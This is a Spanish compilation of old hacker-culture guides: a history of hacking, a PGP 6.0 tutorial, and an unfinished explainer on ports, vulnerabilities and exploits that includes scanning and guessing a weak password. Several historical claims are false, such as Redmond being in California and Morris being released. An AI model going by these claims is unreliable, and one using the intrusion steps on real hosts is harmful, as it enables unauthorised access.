Alrededor de 1966, Robert Morris Senior, el futuro científico jefe de la NSA, decide convertir estas guerras iniciales de hackers en el primer entorno de "hacking seguro". Él y dos amigos que lo programaron llamaron a su juego "Darwin". Más tarde, "Darwin" se convierte en "Core War", un juego de ordenador libre jugado hasta hoy por algunos de los hackers de primera de más nivel.

Mientras la Guerra de Vietnam se termina, los primeros programas simuladores de vuelo de la historia aparecieron en la red Plato. Los gráficos de ordenador, casi desconocidos en ese tiempo, se muestran en terminales de gráficos vectoriales sensibles al tacto. Los ciberpilotos de todo Estados Unidos seleccionan sus aparatos: Phantoms, MIGs, F-104s, el X-15, Sopwith Camels... Los pilotos virtuales despegan de aeropuertos digitales e intentan abatir a los demás y bombardear sus aeropuertos. Mientras vuelo en un Phantom, veo un mensaje en la parte inferior de mi pantalla. "Estoy a punto de derribarte". Oh, no, un MIG en mi cola. Desciendo y giro, esperando poner a mi perseguidor en mi punto de mira. La pantalla se vuelve negra. Mi terminal muestra el mensaje "Has dado un tirón de 37 Gs. Te pareces más a una pizza que a un ser humano mientras vuelas hacia la Tierra".

Un día, la Nave Estelar Enterprise irrumpe en nuestro simulador, derriba a todos y se desvanece en el ciberespacio. ¡Hacking en Plato! Ya en 1973 los jugadores de juegos multiusuario tenían que preocuparse de no sufrir un "smurfing" (cuando un hacker irrumpe en un juego multiusuario en Internet y mata a los jugadores con técnicas que no son reglas del juego a esto se le llama "smurfing", "pitufear").

1975. ¡Oh, bendito año! Bajo contrato de la Fuerza Aérea, en la ciudad de Alburquerque, Nuevo México, el Altair ve la luz. Altair. El primer microcomputador. Bill Gates escribe el sistema operativo. Después, la madre de Bill le convence para que se traslade a Redmond, California, donde ella conoce algunos hombres adinerados que quieren ver de qué va este negocio del sistema operativo. ¿Recuerdan a Hans y Gribble? Ellos se unieron al club Home Brew Computer y escogieron los microprocesadores Motorola para construir el suyo propio. Comenzaron a vender sus ordenadores, a los que dieron el nombre de Apple, bajo sus nombres reales de Steve Wozniak y Steve Jobs. Una religión informática ha nacido.

La gran batalla Apple/Microsoft está iniciada. Nosotros, los hackers, de repente, tenemos trastos que superan con creces a las terminales Tektronix. En 1978, Ward Christenson y Randy Suess crean el primer sistema de BBSs, sistemas de boletines. Pronto, enlazados por nada más que las redes de telefonía de larga distancia y los nodos de estos boletines, los hackers crean un nuevo ciberespacio privado. El phreaking se vuelve más importante que nunca para conectarse a BBSs lejanas.

También en 1978 las redes informáticas de The Source y Compuserve comienzan a ofrecer servicios a usuarios individuales. "Naked Lady" circula impune por Compuserve. El primer cibercafé, Planet Earth, abre sus puertas en Washington, DC. Las redes X.25 reinan con autoridad.

Después se produce la gran mutación de ARPAnet, comenzando en 1980. Con un gigantesco salto, se pasa del Network Control Protocol (Protocolo de Control de Redes) al Transmission Control Protocol/Internet Protocol (TCP/IP: Protocolo de Control de Transmisión/Protocolo de Internet). Ahora, ARPAnet no estará limitada nunca más a 256 ordenadores -¡puede abarcar decenas de millones de hosts!-. De este modo se crea Internet dentro de la matriz de ARPAnet del Departamento de Defensa. El marco que algún día uniría a los hackers de todo el mundo estaba creciendo silenciosamente. Plato comienza a desaparecer, limitado para siempre a 1024 terminales. El famoso autor de ciencia ficción Jerry Pournelle descubre ARPAnet. Pronto sus fans empiezan a pulular para encontrar excusas -o lo que fuera- para entrar en ARPAnet. Los administradores de ARPAnet, sorprendentemente, están proporcionando con facilidad cuentas, especialmente a la gente del mundo académico.

El uso de ARPAnet es ciertamente incómodo y no transmite imágenes de cazas mezclándose entre ellos. Pero a diferencia de la reluciente Plato, en ARPAnet se puede practicar hacking de verdad y ahora posee lo necesario para poder crecer. A diferencia de la red de boletines de los hackers, la gente no tiene que escoger entre las caras llamadas telefónicas de larga distancia o hacer phreaking para conseguir sus conexiones. Todo es local y es gratis. Ese mismo año, 1980, se detiene al grupo "414 Gang". El phreaking es más arriesgado que nunca.

A principios de los 80, a los hackers les encantaba hacer travesuras. Joe College se sienta en su terminal del DEC 10 de la universidad y decide hurgar en la red del campus. ¡Aquí está Star Trek! ¡Aquí está la aventura! ¡Zork! Humm, ¿qué será este programa llamado Sex? Lo ejecuta. Un mensaje aparece: "Atención: jugar con sexo es arriesgado. ¿Estás seguro de que quieres jugar? S/N". ¿Quién se puede resistir? Seleccionando la "S" la pantalla se llena de caracteres ASCII para pasar a mostrar el mensaje: "Procediendo al borrado de todos los archivos de esta cuenta". Joe se pone a llorar, maldiciendo y saltando de un lado a otro. Escribe la orden que lista los archivos. ¡Nada!, ¡Nothing! ¡Zilch! Se dirige al administrador de sistema. Se introducen en su cuenta y ven que sus ficheros están todavía allí. Una travesura.

En 1983, casi todos los hackers son gamberros inofensivos, personas que mantienen las distancias con los tíos que rompen la ley. El "Diccionario de Jerga" del MIT define al hacker como simplemente "una persona que disfruta aprendiendo de los sistemas informáticos y de cómo llevar al límite sus capacidades; una persona que programa con entusiasmo y disfruta dedicándole una gran cantidad de tiempo a los ordenadores".

En 1983, El PC (Personal Computer) de IBM aparece en escena impulsado por el sistema operativo MS-DOS de Bill Gates. El imperio de los sistemas operativos CP/M cae. En los próximos dos años, básicamente todos los sistemas operativos para microordenadores, exceptuando el MS-DOS y aquellos ofrecidos por Apple, estarán muertos, y miles de fortunas de Silicon Valley se irán a pique. El Amiga cuelga de un hilo. Los precios caen y pronto todos los hackers que se precien tienen sus propios ordenadores. Entrar a hurtadillas por la noche en los laboratorios del colegio desaparece de la escena.

En 1984, Emmanuel Goldstein lanza las publicaciones 2600: The Hacker Quarterly y se crea el grupo Legion of Doom. El Congreso aprueba la "Ley Exhaustiva para el Control del Crimen", proporcionando al Servicio Secreto estadounidense la jurisdicción en el fraude informático. Fred Cohen, de la Universidad Carnegie Melon, prepara su tesis doctoral acerca del nuevo y nunca antes escuchado tema de los virus informáticos.

1984. Iba a ser el año en que, según pensaban millones de fans de Orwell, el gobierno conseguiría finalmente la alta tecnología que le convertiría en el Gran Hermano. En su lugar, el autor de ciencia ficción William Gibson, escribiendo Neuromante en su máquina de escribir, acuña el término "ciberespacio" y lo describe. "Case era el mejor... aquél que entró en la matriz de los ordenadores de la Tierra. Después engañó a la gente equivocada".

En 1984, aparecen los primeros sistemas de boletines "señuelo" de la policía estadounidense. Desde 1985, Phrack ha estado proporcionando a la comunidad hacker información sobre sistemas operativos, tecnologías de redes y telefonía, además de otros temas de interés para el submundo informático internacional.

Los 80 son los años de la guerra de los marcadores. A pesar de las redes ARPAnet y X.25, a la gran mayoría de los ordenadores se puede acceder descubriendo sus números de teléfono individuales. Así, uno de los tesoros más preciosos para un hacker de los 80 es el número de teléfono de algún ordenador misterioso.

Los ordenadores de esta era podrían estar ejecutando cualquier sistema operativo arcaico y usando muchos protocolos de comunicaciones. Los manuales de estos sistemas eran a menudo secretos. El mundillo hacker opera siguiendo el principio del mentor. A menos que puedas encontrar a alguien que te pueda introducir en el círculo interno de una banda hacker que haya recopilado documentos recuperados en basureros o robados en allanamientos, estás bien por detrás del pelotón. Kevin Poulson se crea un nombre por sus arriesgados allanamientos en Pacific Bell.

A pesar de estas barreras, en 1988 el hacking ha comenzado su gran época. De acuerdo con una lista de grupos de hackers recopilada por los editores de Phrack del 8 de Agosto de 1988, los Estados Unidos albergan cientos de hackers.

El Servicio Secreto graba de forma encubierta cintas de video de la convención SummerCon. En 1988 Robert Tappan Morris, hijo del científico jefe de la NSA Robert Morris, programa un exploit que será conocido para siempre como el Gusano de Morris. Usa una combinación de vulnerabilidades de finger y sendmail para irrumpir en un ordenador, copiarse a sí mismo y enviar después una copia tras otra a otros ordenadores. Morris, con una mínima comprensión del poder de la replicación exponencial, lo lanza a Internet. Pronto, todos los ordenadores vulnerables están llenos hasta sus entrañas digitales de gusanos y los enlaces de comunicaciones se quedan colgados mientras se envían copias de los gusanos a la caza de otros ordenadores. La joven Internet, por aquel entonces con unos pocos miles de ordenadores fuertes, se cuelga. Morris es arrestado, pero le sueltan por falta de pruebas.

1990 es el siguiente año decisivo para Internet, tan significativo como 1980 y el lanzamiento del TCP/IP. Inspirado en el Xanadú de Nelson, Tim Berners-Lee, del Laboratorio Europeo de Partículas Físicas (CERN), concibe una nueva vía para implementar el hipertexto. Lo llama la World Wide Web. En 1991 lo suelta silenciosamente en el mundo. El Ciberespacio nunca volverá a ser el mismo. El Xanadú de Nelson, del mismo modo que Plato, del mismo modo que CP/M, desaparece.

1990 es también un año sin precedentes, con numerosos arrestos e incursiones contra los hackers. El Servicio Secreto estadounidense y la Policía del Estado de Nueva York intervienen las máquinas de Phiber Optik, Acid Phreak y Scorpion en Nueva York, y arrestan a Terminus, Prophet, Leftist y Urvile.

La Brigada de Delito Informático de Chicago arresta a Knight Lightning e intervienen los equipos de Robert Izenberg, Mentor y Erik Bloodaxe. Registran tanto la casa de Richard Andrews como su negocio. El Servicio Secreto estadounidense y la Oficina contra el Crimen Organizado y Fraudes de Arizona lleva a cabo la Operación Sundevil en Cincinatti, Detroit, Los Angeles, Miami, Newark, Phoenix, Pittsburgh, Richmond, Tucson, San Diego, San José y San Francisco. Una famosa y poco razonable acción en ese año fue el registro realizado por la Brigada de Chicago de Steve Jackson Games, Inc.

Junio de 1990. Mitch Kapor y John Perry Barlow reaccionan a los excesos de todos estos ataques y fundan la Electronic Frontier Foundation. Su propósito inicial es proteger a los hackers. Tienen éxito al conseguir que se legisle para proteger a la comunidad hacker.

En 1993, Marc Andreesson y Eric Bina, del Centro Nacional para Aplicaciones de Supercomputación, lanzan Mosaic, el primer navegador para la Web que puede mostrar gráficos. ¡Al fin, después de la desaparición de Plato hace veinte años, tenemos gráficos decentes! Esta vez, sin embargo, estos gráficos están aquí para quedarse. Pronto la Web se convierte en la vía número uno de los hackers para lanzar y propagar los códigos de sus exploits. Los boletines, con sus tan bien guardados secretos, desaparecen de la escena.

En 1993, la primera Def Con invade Las Vegas. La era de las convenciones de hackers se mueve a toda marcha con la serie de Beyond Hope, HoHocon y más.

1996. Aleph One toma posesión de la lista de email de Bugtraq y se convierte en la primera lista pública totalmente abierta de seguridad informática. Por primera vez en la historia, los fallos de seguridad que pueden ser usados para entrar en ordenadores se discuten abiertamente y con los códigos completos de los exploits. Los archivos de la Bugtraq son puestos en la red.

En Agosto de 1996 comienzo a publicar las "Guías de Hacking (casi) Inofensivo". Están llenas de instrucciones simples diseñadas para ayudar a los novatos a comprender el hacking. Un grupo de hackers viene a ayudar con lo que después se convierte en el Happy Hacker Digest.

1996 es también el año en que comienza a proliferar la documentación en Internet sobre routers, sistemas operativos, protocolos TCP/IP y muchísimo más. La era de los arriesgados robos de manuales técnicos desaparece.

A principios de 1997, los lectores de Bugtraq empiezan a despedazar el sistema operativo Windows NT. Una nueva lista de correo, NT Bugtraq, es lanzada sólo para albergar la gran cantidad de errores de seguridad encontrados por sus lectores. Los auto-proclamados hackers Mudge y Weld of The L0pht, en un reto de investigación, escriben y distribuyen un programa que averigua claves de WinNT que perturba Internet. Muchos en la comunidad de seguridad informática han llegado muy lejos y son capaces de darse cuenta de que Mudge y Weld están haciendo un gran servicio a los propietarios de redes NT.

Gracias a los hackers que con mucho gusto comparten sus conocimientos en la Web y a listas de correo como Bugtraq, NT Bugtraq y Happy Hacker, los días en que la gente tenía que rogar para entrar en las bandas de hackers y aprender los secretos del hacking están ya desapareciendo.

¿Hacia dónde evolucionará el mundo hacker? La respuesta está en tus manos.

PGP PARA PRINCIPIANTES


¿Te da escalofríos la idea de que haya personas husmeando tu correo y los ficheros de tu ordenador? El cifrado es la única forma de estar absolutamente seguro de que tus documentos privados son realmente privados. Incluso en el caso de que seas un novato, el cifrado puede ser sorprendentemente fácil si utilizas el programa gratuito PGP, ¡su técnica de cifrado es tan poderosa que su uso es ilegal en algunos países! Esta Guía ha sido escrita por Keydet89, <keydet89@yahoo.com>, así que si tienes preguntas, escríbele a él, no a mí (Carolyn Meinel).

Esta guía te enseñará cómo:

 



PGP es un programa de cifrado personal que puedes utilizar para cifrar ficheros o correo electrónico.

PGP quiere decir 'Pretty Good Privacy' (Privacidad Bastante Buena), y fue escrito originalmente por Phil Zimmerman. El resumen de la historia es que Phil publicó su programa de cifrado y fue investigado por el Gobierno Federal de Estados Unidos. En cuanto la investigación terminó, Phil fundó una compañía basada en su producto, que fue finalmente comprada por Network Associates.

Puedes obtener la vestión gratuita de PGP de:

http://www.nai.com/products/security/pgpfreeware.asp

[Nota de los traductores: o desde http://www.pgpi.org]

**Prepárate para esperar. Es un fichero de aproximadamente 5,5 Mb.

Nota: Todos los ejemplos usados en esta guía se corresponden con la versión freeware de PGP 6.0. El enlace anterior corresponde a esta versión.


Nota para principiantes: Aquí se describe cómo usar PGP, pero si quieres usarlo con facilidad, descarga el programa de correo electrónico Eudora e instala el plugin de PGP. Las herramientas de PGP aparecen como un icono en la barra de tareas de Eudora y cifrar y descifrar correo es tan fácil como seleccionarlas.

Para obtener la versión gratuita de Eudora y usarlo con PGP, puedes ir a: http://www.eudora.com/products/


Una vez tengas PGP, haz doble click en el icono para instalarlo. Sigue las instrucciones, son muy directas, y no hay fallos o sorpresas en el camino. No obstante, deberás reiniciar el ordenador, y, cuando lo hayas hecho, debería aparecer el programa 'PGP Tray' en el grupo de programas de inicio, así como un pequeño icono con forma de candado en la barra de tareas.

NOTA: Las descripciones de esta guía se han tomado de la versión 6.0 de PGP, instalado en un ordenador con Windows NT 4.0, Service Pack 3. No obstante, no debería haber mucha diferencia con la instalación en un ordenador con Windows 95/98.


Creación de tus claves


Bien. Una vez instalado PGP, necesitar crear tus claves. Pero antes de que empecemos con ello, déjame describir brevemente cómo funciona todo...

De forma muy resumida, esta es la idea... PGP genera claves criptográficas fuertes, una privada, otra pública. Tú guardas la clave privada, y distribuyes la clave pública... insertada en tu correo electrónico usando un fichero de firma, colocada en una página web, o en cualquier otro lugar. Asimismo has de obtener las claves públicas de tus amigos e importarlas en tu PGP. Cuando quieres enviar un correo cifrado, lo cifras usando la clave pública del receptor ... y sólo esa persona podrá descifrarlo usando su clave privada. También puedes firmar los ficheros y correos electrónicos para que cualquiera que tenga tu clave pública en su 'keyring' (anillo de claves) pueda comprobar si ese fichero en concreto proviene de ti y no de otra persona que se hace pasar por ti.

Ahora vamos a generar un par de claves. Abre el programa PGPkeys. Nota: Esta explicación asume que has instalado PGP con las opciones por defecto. Verás cantidad de claves en la ventana de PGPkeys... Pertenecen a los chicos de PGP Inc, ahora una división de Network Associates. Busca hasta que encuentres la clave pública de Phil Zimmerman... el autor de PGP.

Para crear tu propio par de claves, ve a 'Keys' - 'New Key'... y sigue las instrucciones. La segunda pantalla del Asistente de Generación de Claves te pregunta tu nombre completo y dirección de correo electrónico. Si tienes una cuenta gratuita de Yahoo o HotMail, puedes usarla. La tercera pantalla te deja elegir la longitud del par de claves que quieres generar... Como Happy Hacker utiliza una de 3.072 bits escogeremos la misma longitud.


NOTA PARA PRINCIPIANTES: La longitud de la clave determina su fuerza. Cuanto más larga sea más difícil será romperla.


En la cuarta pantalla escoge 'Key pair never expires' (Par de claves sin fecha de caducidad). La quinta pantalla pregunta por la frase clave que protege tu clave privada. Escoge algo que no sea fácil de averiguar... y mezcla números, letras mayúsculas y signos de puntuación. Debes reintroducir la frase de nuevo y hacer click en 'Next'. Mientras PGP genera el par de claves verás una simpática imagen...

A continuación, como sólo estamos instalando y estás en tu propio sistema sin conexión a un servidor de claves, (servidores utilizados por diversas compañías para manejar grandes cantidades de claves), no seleccionaremos la opción 'Send my key to the root server now' (Enviar mi clave pública al servidor de claves raíz en este momento).

¡Ahora ya tienes tu propio par de claves!


Importación de claves


Bien. Y ahora, ¿qué? Hhhmmm....Veamos un ejemplo de cómo importar claves. Vamos a:

http://koan.happyhacker.org/~satori/satori.asc

(Lo siento, esta URL ya no funciona)

Hay dos bloques de claves en esta página que parecen de dos versiones distintas de PGP. Bien, mira la más grande, y selecciona todo su contenido, incluyendo las líneas que contienen 'BEGIN PGP PUBLIC KEY BLOCK' y 'END PGP PUBLIC KEY BLOCK'.

NOTA: Ahora importaremos la clave situada en la parte inferior, sin incluir la situada en la parte superior, esa más pequeña que dice 'Version 2.6.2'. Selecciona el bloque entero de la clave 'Version: PGPfreeware 5.0i', y pulsa 'ctrl-c' (mantén pulsada la tecla 'Control' y pulsa 'c') o escoge 'Edit - Copy from your browser (Editar - Copiar desde tu navegador). Minimiza el navegador y abre el PGPKeys.

Selecciona 'Edit - Paste' (Editar - Pegar), y verás la clave de Satori en el cuadro de diálogo de la ventana. La dirección de correo usada es 'satori@rt66.com'. Haz clic en 'Import' (Importar). Ahora tienes la clave pública de Satori y puedes cifrar los mensajes que le dirijas a él... y sólo a él. PGP viene configurado con dos servidores de claves públicas. Para verlos, abre PGPKeys y selecciona 'Server -Search' (Servidor - Buscar). Se abrirá otra ventana del programa y en la parte superior verás una ventana de búsqueda que listará un servidor LDAP en PGP.COM y una conexión HTTP a MIT.EDU. Puedes buscar claves tecleando el nombre del usuario que estás buscando. ¡Yo encontré la clave pública de Happy Hacker en cuestión de segundos! Y después, simplemente hice click en su clave y la arrastré a mi ventana de 'PGPKeys'.

Pista: Para la búsqueda, pon como 'UserID' (Identificador de Usuario) 'Carolyn Meinel'.


Creación de un grupo de claves


Ahora vamos a crear un grupo de claves. Lo que esto hace es guardar varias claves juntas, así, si tienes varias claves de tus amigos y quieres cifrar un fichero para todos ellos, no tienes que ir cifrando con la clave de cada persona una por una. En 'PGPKeys', escoge 'Groups - New Group' (Grupos - Nuevo Grupo), e introduce la información solicitada.

Escoge 'Groups - Show Groups', y se abrirá una ventana de diálogo en 'PGPKeys', con el nombre del grupo creado. Para añadir claves al grupo, selecciona la clave que quieres añadir y pulsa 'Control+C' para copiar las claves en el portapapeles. Selecciona el grupo, haz clic con el botón derecho para abrir la ventana de menú y elige 'Paste'. Esto introducirá las claves en el grupo.


Distribución de tu clave pública


Hay dos formas de distribuir tu clave pública. Nosotros describiremos los dos métodos. Puedes utilizar un servidor público de claves o grabar la clave en un fichero de texto que cualquiera pueda importar.

En primer lugar, como dijimos antes, PGP viene por defecto con las direcciones de dos servidores públicos... uno en PGP.COM y el otro en el MIT. Cuando te conectes a Internet abre PGPKeys, selecciona tu pareja de claves, haz clic en 'Server -Send to' y escoge el servidor al que quuieres enviar tu clave pública.

El otro método es grabar la clave pública en un fichero de texto. Este fichero puede ser enviado a tus amigos, o incluido en la firma de tu correo electrónico. Para grabar tu clave pública en un fichero:

Abre PGPKeys y selecciona tu par de claves. Haz clic en 'Keys - Export' (Claves - Exportar); se abrirá un cuadro de diálogo. Elige un nombre para el fichero.

Para grabar tu clave pública en un documento existente, tal como un fichero con tu firma o tu correo electrónico:

Selecciona tu par de claves. Haz clic en 'Edit - Copy' (o pulsa Control+c). Ve al documento donde quieres grabar la clave y selecciona Editar -Pegar (o pulsa Control+v).


Cómo cifrar ficheros


ATENCIÓN: El siguiente ejemplo enseña cómo cifrar y descifrar tus ficheros. Elige un fichero para probar el ejemplo, ¡no hagas la prueba con un fichero de sistema u otro fichero importante!

¿Quieres cifrar un fichero de tu ordenador? Bien, probemos. Abre cualquier carpeta y elige un fichero. Haz clic con el botón derecho del ratón sobre el fichero y vete al menú de PGP. Selecciona 'Encript' (Cifrar) y elige tu par de claves en el cuadro de diálogo que aparecerá. Ahora, haz clic sobre el par de claves y arrástralo a la ventana inferior. PGP cifrará el fichero y verás que aparece otro icono ... un rombo plateado con un candado dentro. Realmente muy apropiado.

Ahora descifremos el fichero. Asegúrate de que has movido o borrado el fichero original (recuerda, asegúrate de que no estás usando, para este ejemplo, un fichero de sistema o cualquier otro que sea importante), y haz doble clic sobre el fichero cifrado. Introduce tu frase clave en la ventana de diálogo y BANG, tu fichero ha sido descifrado. Una maravillosa forma de proteger tus ficheros. ¡Y es gratis!

Para cifrar un fichero para un grupo, sigue los mismos pasos, pero elige el nombre del grupo en lugar de la clave individual de cada uno de sus integrantes.


Cómo cifrar tu correo


Ahora, a cifrar tu correo... Si usas Eudora o (¡Dios no lo quiera!) Outlook, puedes elegir usar sus plugins de PGP. No obstante, si no usas ninguno de esos clientes de correo, para cifrar tus mensajes tienes dos opciones:

Primero. Si usas el cliente de correo de Netscape, puedes fácilmente cifrar el fichero de la forma descrita anteriormente y adjuntarlo al mensaje que deseas enviar.

Otra opción es escribir lo que quieras dentro del area del mensaje, seleccionar el texto y teclear 'Control+c' para copiar el texto en el portapapeles. Después, haz clic sobre el icono PGPTray de la barra de tareas (el pequeño candado) y elige 'Encrypt & Sign Clipboard' (Cifrar y firmar el portapapeles). Se abrirá la ventana de PGPKeys; debes elegir la clave de la persona a quien deseas enviar el mensaje cifrado. El programa te preguntará tu frase clave y el mensaje será firmado, para que tu amigo (que tiene tu clave pública) sepa que viene de ti. Una vez esté cifrado el texto del portapapeles, vuelve al mensaje (o al fichero), selecciona el texto otra vez y pulsa 'Control-v' (mantén pulsada la tecla 'Control' y pulsa 'v') y se pegará el mensaje cifrado sobre el texto original.


NOTA PARA PRINCIPIANTES: Si el icono de PGPTray no está en tu barra de tareas, mira en la carpeta de 'Inicio', y, si no está en ésta, añade un acceso directo al fichero PGPTray.exe.

Si en cualquier momento tienes dificultades al crear tus claves, simplemente debes ir a la Ayuda del programa. Los documentos de ayuda son muy buenos, claros, descriptivos y concisos.

FICHEROS EXPLOIT


Por keydet89@yahoo.com y Carolyn Meinel

¿Cuántas veces habéis leído grupos de noticias o listas de correo y visto mensajes que decían "enséñame hacking", o que preguntaban "Cómo puedo entrar aquí"?. A menudo parece que la persona que pregunta no entiende los fundamentos de las vulnerabilidades y de los exploits. La finalidad de esta Guía es explicar qué son las vulnerabilidades y los exploits y cómo están relacionados con la seguridad informática.

Comencemos con un ejemplo. Supongamos que estás tratando de vender algo por teléfono. Primero comienzas llamando a diversos teléfonos, y sigues llamando hasta que alguna persona te contesta, no un contestador automático, sino una persona de carne y hueso. Entonces si la persona que responde habla tu misma lengua y puede entenderte, tratarás de vender el producto. Muchas personas te colgarán, pero quizás alguien te compre algo... ¡bang! ¡Has puntuado!

En esta Guía aprenderás:


Pero ¿qué tiene que ver todo esto con el hacking? Imagina que tu marcador telefónico es un buscador de puertos en Internet. Algunos ordenadores no responderán. Quizás un cortafuegos está bloqueando los puertos que estás buscando. Otros servidores responderán y en este punto puede, sólo puede, que hayas encontrado un ordenador vulnerable.


Nota para principiantes: ¿Qué son esos 'puertos' de los que estamos hablando? Es un número utilizado para identificar un servicio en un servidor de Internet. Por esta razón a menudo son llamados puertos 'TCP/IP' (Protocolo de Control de Transferencia/ Protocolo Internet), para distinguirlos de otras clases de puertos de ordenadores, como los de los modems, los de las impresoras, etc. Cada ordenador conectado a Internet se identifica con una dirección IP como por ejemplo 'victima.cualquierisp.com'. Como cada servidor puede tener varios servicios ejecutándose, cada servicio utiliza un puerto diferente. Para contactar con cualquiera de esos puertos a través de Internet tú utilizas la dirección IP del servidor y un número de puerto- es como llamar a un número de teléfono.


Ahora puede que hayas conectado al servidor, mediante telnet, por el puerto 23. Obtienes la línea de acceso, pero no sabes ninguna combinación válida de nombre de usuario/contraseña. Así que el servidor al que te has conectado "te cuelga". Después de varias horas intentándolo, te conectas a un servidor en el puerto correcto y ... ¡Tachán! Eres saludado con la línea de acceso y tú rápidamente adivinas una combinación válida nombre de usuario/contraseña. Lo siguiente que verás es la línea de ordenes. Has descubierto una vulnerabilidad- una contraseña fácil de averiguar. Así que como 'hacker bueno' que eres, envías un correo electrónico al administrador del servidor y te vas tranquilamente.


Nota para principiantes: Un 'host' es un ordenador conectado a Internet. Un 'servicio' es un programa que está ejecutándose en un puerto de un servidor conectado a Internet. Cada servicio es un programa que responde a ciertas órdenes. Si das con la orden correcta, podrás conseguir alguna cosa.

El ejemplo más simple de servicio es 'chargen', el generador de caracteres (puerto 19). Si haces una conexión mediante telnet por ese puerto a un servidor que disponga de ese servicio, el programa reaccionará a esta conexión enviando una cadena de caracteres que verás repetidos en la ventana de tu programa de telnet. Todo lo que necesitas hacer es conectar a ese servicio.

Otro ejemplo de servicio es finger (puerto 79). Si ejecutas el programa finger para preguntar información de un usuario particular en un servidor determinado, y el servicio finger (o 'fingerd') está ejecutandose, y si el usuario no ha configurado el servicio finger para indicarle que ignore preguntas referidas a él o ella, obtendrás información de ese usuario.


¿Qué servicios son ejecutados desde estos puertos y cómo podemos aprender más sobre ellos? Los puertos numerados del 1 al 1024 son llamados puertos 'conocidos'. Están listados en la RFC 1700 (búscala en http://www.internetnorth.com.au/keith/networking/rfc.html). Muchos de estos puertos conocidos están también listados en un fichero de tu ordenador llamado 'services'. En Win95, está en c:\windows\services; en NT, está en c:\winnt\system32\drivers\etc\services; en muchas clases de ordenadores Unix (tu cuenta shell), está en /etc/services.

Estos puertos son llamados "conocidos" porque se usan habitualmente para ciertos servicios. Por ejemplo, el puerto conocido para enviar el correo electrónico es el puerto SMTP, o puerto 25. Como se conoce, cualquiera puede enviar correo a cualquiera. A causa de que el puerto 110 es el puerto conocido para recoger el correo, todos los programas clientes saben que deben conectarse al servidor POP en el puerto 110 para recoger el correo electrónico.

Hay una excelente FAQ sobre los puertos TCP/IP en http://www.technotronic.com/tcpudp.html


Aviso de puñetazo en la nariz: Hay muchas herramientas que sirven para buscar puertos, y seguramente los hackers las usan... mucho. Pero, ¿con qué propósito? En muchos casos todo lo que sucede es que el administrador de sistemas o del cortafuegos mira el fichero de logs del ordenador para ver quién intenta atacar el sitio web. Entonces decidirá si ignoran tu búsqueda o si llaman al administrador del sitio del que procede tu búsqueda de puertos. Incluso aunque (en Estados Unidos por lo menos) buscar puertos sea legal, ¡los administradores de sistemas estarán realmente enfadados contigo! Para evitar ser expulsado de tu proveedor de Internet, ¡obtén primero permiso para buscar puertos!.





¿Qué es una vulnerabilidad?


Una 'vulnerabilidad' es algo de un sistema informático que evitará que se pueda usar correctamente, o que permitirá que lo controlen personas no autorizadas. Hay muchos tipos de vulnerabilidades. Puede haber un error en la configuración del servicio o un error en la programación del servicio.

Un ejemplo de fallo de configuración es dejar activas las ordenes 'wiz' o 'debug' en las versiones antiguas del programa sendmail, o configurar incorrectamente los permisos en tu servidor FTP y dejar que la gente pueda coger el fichero de contraseñas. En estos casos, la vulnerabilidad no está en cómo se escribió el programa, sino en cómo está configurado. Permitir compartir ficheros en tu ordenador con Windows 95 o 98 cuando no es necesario o no ponerle contraseña a un fichero compartido, son otros ejemplos.

Ejemplos de errores de programación de servicios son el gran número de vulnerabilidades por desbordamiento de buffer que hay en los programas que ejecutan servicios de Internet. Muchos de estos problemas de desbordamiento de buffer permiten a la gente entrar y tomar el control de esos servidores (Ver "Smashing the Stack", por Aleph One, en: http://www.happyhacker.org/docs/smash.txt).


¿Qué es un exploit?


Un 'exploit' es un programa o técnica que aprovecha una vulnerabilidad. Por ejemplo, la vulnerabilidad FTP-Bounce se da cuando un servidor FTP (usado para permitir a la gente enviar y recoger ficheros) se configura para redireccionar conexiones FTP a otros ordenadores. No hay realmente ninguna buena razón para permitir esta característica. Ha surgido una vulnerabilidad porque esta característica 'de salto' permite a cualquiera usarla para escanear puertos de otros ordenadores de la misma red de área local del servidor FTP. Así, aunque un cortafuegos puede evitar que los buscadores de puertos ataquen a otros ordenadores de esta LAN, se puede buscar puertos desde el servidor FTP mediante un salto.

Así, un exploit es cualquier técnica que aprovecha una vulnerabilidad para poner en práctica tus planes, en contra de los deseos del administrador de tu objetivo. Los exploits dependen de los sistemas operativos y sus configuraciones, de las configuraciones de los programas que se están ejecutando en un ordenador y de la LAN donde están.

Sistemas operativos como NT, VMS y Unix son muy diferentes, y las diferentes versiones de Unix tienen sus diferencias también. (Ejemplos de sistemas operativos UNIX son BSD, AIX, SCO, IRIX, SUN OS, Solaris y Linux). Incluso las diversas versiones de Linux son diferentes entre ellas.

Esto quiere decir que exploits que funcionan contra sistemas NT probablemente no funcionarán contra sistemas Unix, y exploits para sistemas Unix probablemente no funcionarán contra NT. Los servicios en NT son ejecutados por programas que son diferentes a los que puedes encontrar en los ordenadores de tipo Unix. Además, diferentes versiones del mismo servicio ejecutándose en un sistema operativo particular probablemente no serán vulnerables al mismo exploit, porque cada versión de un servicio es ejecutado por un programa diferente. A veces estos programas diferentes pueden tener el mismo nombre y sólo tener un diferente número de versión. Por ejemplo, sendmail 8.9.1a es diferente del 8.8.2. Muchas de estas diferencias son que la versión 8.9.1a ha sido reparada para que ninguno de los antiguos exploits funcionen en ella.

Por ejemplo, el exploit "Leshka" descrito en la Guía sobre programación avanzada en shell señala claramente que sólo funciona en versiones 8.7-8.8.2 del servicio SMTP del programa denominado 'sendmail'. Hemos observado a gran número de personas que jugando en nuestro juego de guerra hacker han tratado de ejecutar el exploit Leshka contra una versión posterior, ya reparada, de sendmail.

Así que recuerda, un exploit que funcione en un sistema operativo o servicio es improbable que funcione contra otro sistema operativo. Esto no quiere decir que sea seguro que no funciona, sino que es probable. No obstante, es casi seguro que un exploit que funcione en Win95 o NT no funcionará contra otra clase de Unix.


Cómo buscar vulnerabilidades


Ahora comencemos por algún sitio en el que es improbable que te dén en los morros por mirar puertos: tu propio ordenador.

Puedes hacer esto tecleando 'netstat -a' en la línea de ordenes.

Verás algo como esto:

Conexiones activas

Proto Dirección Local Dirección Remota Estado
TCP localhost:1027 0.0.0.0:0 LISTENING
TCP localhost:135 0.0.0.0:0 LISTENING
TCP localhost:135 0.0.0.0:0 LISTENING
TCP localhost:1026 0.0.0.0:0 LISTENING
TCP localhost:1026 localhost:1027 ESTABLISHED
TCP localhost:1027 localhost:1026 ESTABLISHED
TCP localhost:137 0.0.0.0:0 LISTENING
TCP localhost:138 0.0.0.0:0 LISTENING
TCP localhost:nbsession 0.0.0.0:0 LISTENING
UDP localhost:135 *:*
UDP localhost:nbname *:*
UDP localhost:nbdatagram *:*

